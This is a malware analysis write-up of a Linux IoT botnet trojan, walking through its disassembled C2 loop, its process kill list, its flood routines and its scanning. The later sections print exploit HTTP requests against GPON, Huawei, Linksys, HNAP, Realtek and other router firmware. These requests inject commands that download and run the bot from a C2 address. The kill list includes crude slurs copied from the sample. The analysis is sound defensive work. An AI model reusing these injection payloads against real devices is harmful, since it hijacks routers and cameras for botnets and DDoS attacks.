LINUX IOT BOTNET

The payload is capable of doing the following:

  • Brute-force credentials
  • Generate DDOS
  • Kill processes/Enumerate processes
  • Scan devices/cameras/routers etc
  • TCP/UDP Scans
  • HTTP Scan
  • Leverage multiple vulnerabilities to exploit devices, so they can join the botnet.

Initial Fork()

On execution, the trojan forks() and exits the parent (To disassociate the child). The spawned payload runs in the background and tries to talk to the C2 at 5 seconds interval.


LOOP:

    sleep(5)

    socket(2,1,0) 

        2 = PF_INET

        1 = SOCK_STREAM

        0 = IPPROTO_IP

    inet_addr(ip_address)

    connect(38, 0x608fc0, 16, 0, 0x7f7ecbe1e5a0)  

        // 0x608fc0 = sockaddr *addr

        //0x7f7ecbe1e5a0 = socklen_t, In this case, it will be 16.

        The addr data structure in this scenario will become:

        sa_family, sin_port=htons(remote_port),sin_addr=inet_addr(ip_address)

Let’s dig deeper

———————————————————————————————————————————————————

  pop    %rbp                     // main function

  retq   

  callq  0x401110s

  xor    %edi,%edi

  callq  0x401100          // CLOSEING HANDLE

  mov    $0x1,%edi

  callq  0x401100 

  mov    $0x2,%edi

  callq  0x401100 

  mov    0x8(%rbx),%rsi

  mov    $0x405592,%edi

  xor    %eax,%eax

  callq  0x4010d0 

  mov    0x8(%rbx),%rsi

  mov    $0x8,%edx

  mov    $0x6091e0,%edi

  xor    %eax,%eax

  callq  0x4012b0 

  mov    0x0(%rbp),%rax

  movabs $0x61772f7665642f5b,%rcx

  mov    %rcx,(%rax)

  movabs $0x5d676f64686374,%rcx

  mov    %rcx,0x8(%rax)

  nopl   0x0(%rax,%rax,1)

  xor    %eax,%eax

  callq  0x401ac0         // CONNECT

  mov    $0x5,%edi

  callq  0x4012f0         // SLEEP 5 SECONDS

  jmp    0x401428         // START OF THE LOOP

———————————————————————————————————————————————————

Connect call MUST return a value of zero i.e. connection must be successful. If the connection is not successful, the payload keeps trying to connect to the same C2. The payload opens a port (34556) for IPC (bind to all interfaces)


    bind(3, {sa_family=AF_INET, sin_port=htons(34556), sin_addr=inet_addr("0.0.0.0")}, 16) = 0

    And eventually call listen()

    listen(3, 5, 16, -1, 0x7f4895695300)


Once the connection is successful, the payload informs the C2


=========================== (UDURRANI) =================================

(DATA PUSH!) IS COMING FROM 172.16.223.134    TO IP ADDRESS 185.244.25.200

    PORT INFORMATION (45411, 6443)

    SEQUENCE INFORMATION (1532511650, 960825006)


    |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|

    (70)

    78 38 36 0A                                             x86.


killing processes:

Trojan stores all the processes in kill_list.txt. Let’s look at the responsible function, with comments added:


———————————————————————————————————————————————————

lea        rdi, qword [rsp+0xe20+var_620]             // string_buffer

mov      esi, 0x404875                                                 // echo %s >> kill_list.txt to string_buffer

xor        eax, eax

                // Call the function to fill the buffer

lea        rdi, qword [rsp+0xe20+var_620]

call       system

mov      esi, 0x9                                                           // Provide kill switch i.e. 0x9. Switch 9 is used as SIGKILL

mov      edi, r12d                                                         // Provide the process identifier i.e. process ID to KILL

call         killFunc                                                        // Execute

mov        edi, 0x40488e                                         // rm -rf kill_list


———————————————————————————————————————————————————


Finding processes:

The payload looks for specific processes to kill. It opens /proc directory by using opendir(), enumerates through the PID’s and read 512 bytes in map. 

char *path = “/proc/”

It calls opendir(path), followed by readdir() and then by calling open in READ ONLY mode

open("/proc/pid/maps", 0 …). If open() is successful, it reads the required information via read()

    lea        rsi, qword [rsp+0xe20+var_820]   // ASSIGN A BUFFER

    mov        edx, 0x200       // PUSH COUNT TO 512 BYTES

    mov        edi, eax         // File Descriptor

If it finds the process it’s looking for, kill_list file is updated via fopen()

    mov        esi, 0x405014                                // MODE

    mov        edi, 0x404880                               // FILE_NAME

    call         fopenFunc             




FORK + DISASSOCIATION

The Kill List

This list is dynamically written to kill_list.txt. Here are the processes the payload is looking for.

BzSxLxBxeY, HOHO-LUGO7, HOHO-U79OL, JuYfouyf87, NiGGeR69xd, LOLKIKEEEDDE, ekjheory98e, MELTEDNINJAREALZ, flexsonskids, MISAKI-U79OL, foAxi102kxe, swodjwodjwoj, MmKiy7f87l, freecookiex86, sysupdater, NiGGeRD0nks69, 0x766f6964, NiGGeRd0nks1337, urasgbsigboa, Ofurain0n4H34D, 1293194hjXD, 1337SoraLOADER, 1378bfp919GRB1Q2, SEXSLAVE1337, 1902a3u912u3u4, SORAojkf120, hehahejeje92, 2U2JDJA901F91, helpmedaddthhhhh, 2wgg9qphbq, Slav3Th3seD3vices, hzSmYZjYMQ, SoRAxD123LOL, SoRAxD420LOL, SoraBeReppin1337, ipcamCache, jUYfouyf87, lyEeaXul2dULCVxh, TY2gD6MZvKc7KU6r, mMkiy6f87l, A023UU4U24UIU, mioribitches, TheWeeknds, W9RCAKM20T, newnetword, g1abc4dmo35hnp2lie0kjf, notyakuzaa, BigN0gg0r420, ofhasfhiafhoi, X19I239124UIU, XSHJEHHEIIHWO, DeportedDeported, XkTer0GbA1, FortniteDownLOLZ, Y0urM0mGay, pussyfartlmaojk, GrAcEnIgGeRaNn, YvdGkqndCO, qGeoRBe6BE, GuiltyCrown, s4beBsEQhd, HOHO-KSNDO, alie293z0k2L, scanJoshoARM, HellInSide, ayyyGangShit, scanJoshoARM5, scanJoshoARM7, IuYgujeIqn, scanJoshoM68K, JJDUHEWBBBIB, scanJoshoMIPS, JSDGIEVIVAVIG, cKbVkzGOPa, scanJoshoMPSL, chickenxings, scanJoshoSH4, scanJoshoSPC, scanJoshoX86, zPnr6HpQj2, Kaishi-Iz90Y, Ksif91je39, KuasaBinsMate, eQnOhRk85r, LOLHHHOHOHBUI, eXK20CL12Z, QBotBladeSPOOKY, hikariwashere, p4029x91xx, 32uhj4gbejh, PownedSecurity69, fxlyazsxhy, jnsd9sdoila, yourmomgaeis, sdfjiougsioj, SEGRJIJHFVNHSNHEIHFOS, KOWAI-BAdAsV, airdropmalware, your_verry_fucking_gay, Big-Bro-Bright, For-Gai-Mezy, cloqkisvspooky, SwergjmioG, KILLEJW(IU(JIWERGFJGJWJRG, IuFdKssCxz, ajbdf89wu823, GhostWuzHere666, sfc6aJfIuY, xeno-is-god, ICY-P-0ODIJ, plzjustfuckoff

UDP floods

The flood is launched by calling socket function with UDP option. Let’s look at the parameters pushed on the stack for the socket() call

—————————————————————————————————

    mov        edx, 0x11                                  

        mov        esi, 0x2                              // #define SOCK_DGRAM    2

    mov        edi, 0x2          


It calls gethostbyname followed by


    mov qword [rsp+0x840+var_838], 0x0


Once the socket call is successful, bcopy() is populated.


    movsxd       rdx, dword [rax+0x14]                     // SIZE

    mov              rax, qword [rax+0x18]                      

    mov             qword [rsp+0x840+var_840], 0x0

                         // SOURCE AND DESTINATION

    lea                rsi, qword [rsp+0x840+var_83C]            

    mov            rdi, qword [rax]                          

—————————————————————————————————

UDP data is sent via sendto() function. Other than UDP flood, the botnet can launch synFlood as well.

Using vulnerabilities:

The payload is able to scan and launch exploits on several devices / routers / cameras. Initially, it will setup the connection and then send the exploit code. It can use RAW sockets to accomplish this task as well.

                                            socket(HANDLE, 0x3, 0x6)

The vulnerabilities are used to infect devices remotely, download the botnet on each device and launch the payload. This eventually creates a bigger network where each device becomes part of the botnet.

Let’s look at some exploit code paths




 if (strstr(rbx, "realtek") != 0x0) {

            rsi = "POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Hello-World\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope x…"

}

 if (strstr(rbx, "gpon80") != 0x0) {

            rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…"

}

 if (strstr(rbx, "gpon8080") != 0x0) {

            rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…";

}

if (strstr(rbx, "gpon443") != 0x0) {

            rsi = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.…";

}

 if (strstr(rbx, "huawei") != 0x0) {

            rsi = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f…";

}

if (strstr(rbx, "africo") != 0x0) {

            rsi = "POST /setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://185.244.25.200/bins/africo.selfrep%20-O%20/var/tmp/africo.selfrep;%20chmod%20777%20/var/tmp/africo.selfrep;%20/var/tmp/africo.selfrep;%20rm%20-rf%20/var/tmp/africo.selfrep&curpath=/&currentset…";

}

if (strstr(rbx, "tr064") != 0x0) {

            rsi = "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Nakuma\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/so…";

}


POST /HNAP1/ HTTP/1.0\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://185.244.25.200/hnap.selfrep && chmod +x hnap.selfrep;./hnap.selfrep`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" e…


POST /tmUnblock.cgi HTTP/1.1\r\nHost: 192.168.0.14:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B…", 0 ; +rm+-rf+mpsl%3B+wget+http%3A%2F%2F185.244.25.200%2Fbins%2Flinksys.selfrep%3B+chmod+777+linksys.selfrep%3B+.%2Fmpsl+selfrep.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1


POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f…

Some of the vulnerabilities used:

CVE-2017 17215

Realtek SDK Miniigd UPnP SOAP Command Execution

GPON Routers – Authentication Bypass / Command Injection: An issue was discovered on Dasan GPON home routers. It is possible to bypass authentication simply by appending "?images" to any URL of the device that requires authentication

CVE-2018 10561

CVE-2018 10562

CVE-2018 15379

LinkSys RCE

ThinkPHP RCE

Realtek SDK unauthenticated commandInjection

NetGear unauthenticated RCE 


Scan to DDOS

Once the payload is able reach the initial C2, it starts a scan that eventually generate a DDOS. It uses vulnerabilities and default credentials to exploit devices. Here is the network traffic trace in the 2nd stage:

              |U|A|P|R|S|F| {URG|ACK|PSH|RST|SYN|FIN

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.31.27.253

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.244.125.218

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.16.186.135

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.51.0.107

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.173.170.0

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.59.39.114

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.50.179.66

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.84.255.158

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.128.236.122

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.176.65.184

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.200.10.142

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.166.11.40

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.8.128.129

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.203.50.166

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.231.35.219

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.122.82.254

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.228.6.94

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.144.57.172

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.239.155.203

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.3.185.110

(tcp)    |0|0|0|0|1|0|->[55105, 8080]src-ip: 172.16.223.134        dst-ip: 156.220.224.155

(tcp)    |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.206.14.22        dst-ip: 172.16.223.134

(tcp)    |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.196.220.143        dst-ip: 172.16.223.134

(tcp)    |0|1|0|1|0|0|->[8080, 32648]src-ip: 156.77.212.199        dst-ip: 172.16.223.134

Speed

Depending on the resources of the machine, the payload can initiate scans so fast that it could talk to thousands of ip’s / second

Initial C2 Server

To launch the vulnerabilities, the scanner initiates a blind scan, it waits for a response [ recv() ] before it initiates the remote exploit

push       rbx

mov        rdx, edx       // RECV() Size

mov        rbx, rsi

call       recvFunc

Initial code logic, with comments: [START-LOGIC]

Successful device exploit trace

    PORT INFORMATION (33274, 8080)

    SEQUENCE INFORMATION (4145382290, 726139919)


    |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|

    (524)

    50 4F 53 54 20 2F 74 6D 55 6E 62 6C 6F 63 6B 2E         POST /tmUnblock.

    63 67 69 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F         cgi HTTP/1.1..Ho

    73 74 3A 20 31 39 32 2E 31 36 38 2E 30 2E 31 34         st: 192.168.0.14

    3A 38 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A         :80..Connection:

    20 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 41 63 63          keep-alive..Acc

    65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A         ept-Encoding: gz

    69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 41 63 63         ip, deflate..Acc

    65 70 74 3A 20 2A 2F 2A 0D 0A 55 73 65 72 2D 41         ept: */*..User-A

    67 65 6E 74 3A 20 70 79 74 68 6F 6E 2D 72 65 71         gent: python-req

    75 65 73 74 73 2F 32 2E 32 30 2E 30 0D 0A 43 6F         uests/2.20.0..Co

    6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 32         ntent-Length: 22

    37 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A         7..Content-Type:

    20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77          application/x-w

    77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64         ww-form-urlencod

    65 64 0D 0A 0D 0A 74 74 63 70 5F 69 70 3D 2D 68         ed....ttcp_ip=-h

    2B 25 36 30 63 64 2B 25 32 46 74 6D 70 25 33 42         +%60cd+%2Ftmp%3B

    2B 72 6D 2B 2D 72 66 2B 6D 70 73 6C 25 33 42 2B         +rm+-rf+mpsl%3B+

    77 67 65 74 2B 68 74 74 70 25 33 41 25 32 46 25         wget+http%3A%2F%

    32 46 31 38 35 2E 32 34 34 2E 32 35 2E 32 30 30         2F185.244.25.200

    25 32 46 62 69 6E 73 25 32 46 6C 69 6E 6B 73 79         %2Fbins%2Flinksy

    73 2E 73 65 6C 66 72 65 70 25 33 42 2B 63 68 6D         s.selfrep%3B+chm

    6F 64 2B 37 37 37 2B 6C 69 6E 6B 73 79 73 2E 73         od+777+linksys.s

    65 6C 66 72 65 70 25 33 42 2B 2E 25 32 46 6D 70         elfrep%3B+.%2Fmp

    73 6C 2B 73 65 6C 66 72 65 70 2E 6C 69 6E 6B 73         sl+selfrep.links

    79 73 25 36 30 26 61 63 74 69 6F 6E 3D 26 74 74         ys%60&action=&tt

    63 70 5F 6E 75 6D 3D 32 26 74 74 63 70 5F 73 69         cp_num=2&ttcp_si

    7A 65 3D 32 26 73 75 62 6D 69 74 5F 62 75 74 74         ze=2&submit_butt

    6F 6E 3D 26 63 68 61 6E 67 65 5F 61 63 74 69 6F         on=&change_actio

    6E 3D 26 63 6F 6D 6D 69 74 3D 30 26 53 74 61 72         n=&commit=0&Star

    74 45 50 49 3D 31                                       tEPI=1

Conclusion

LINKSYS REMOTE CODE EXECUTION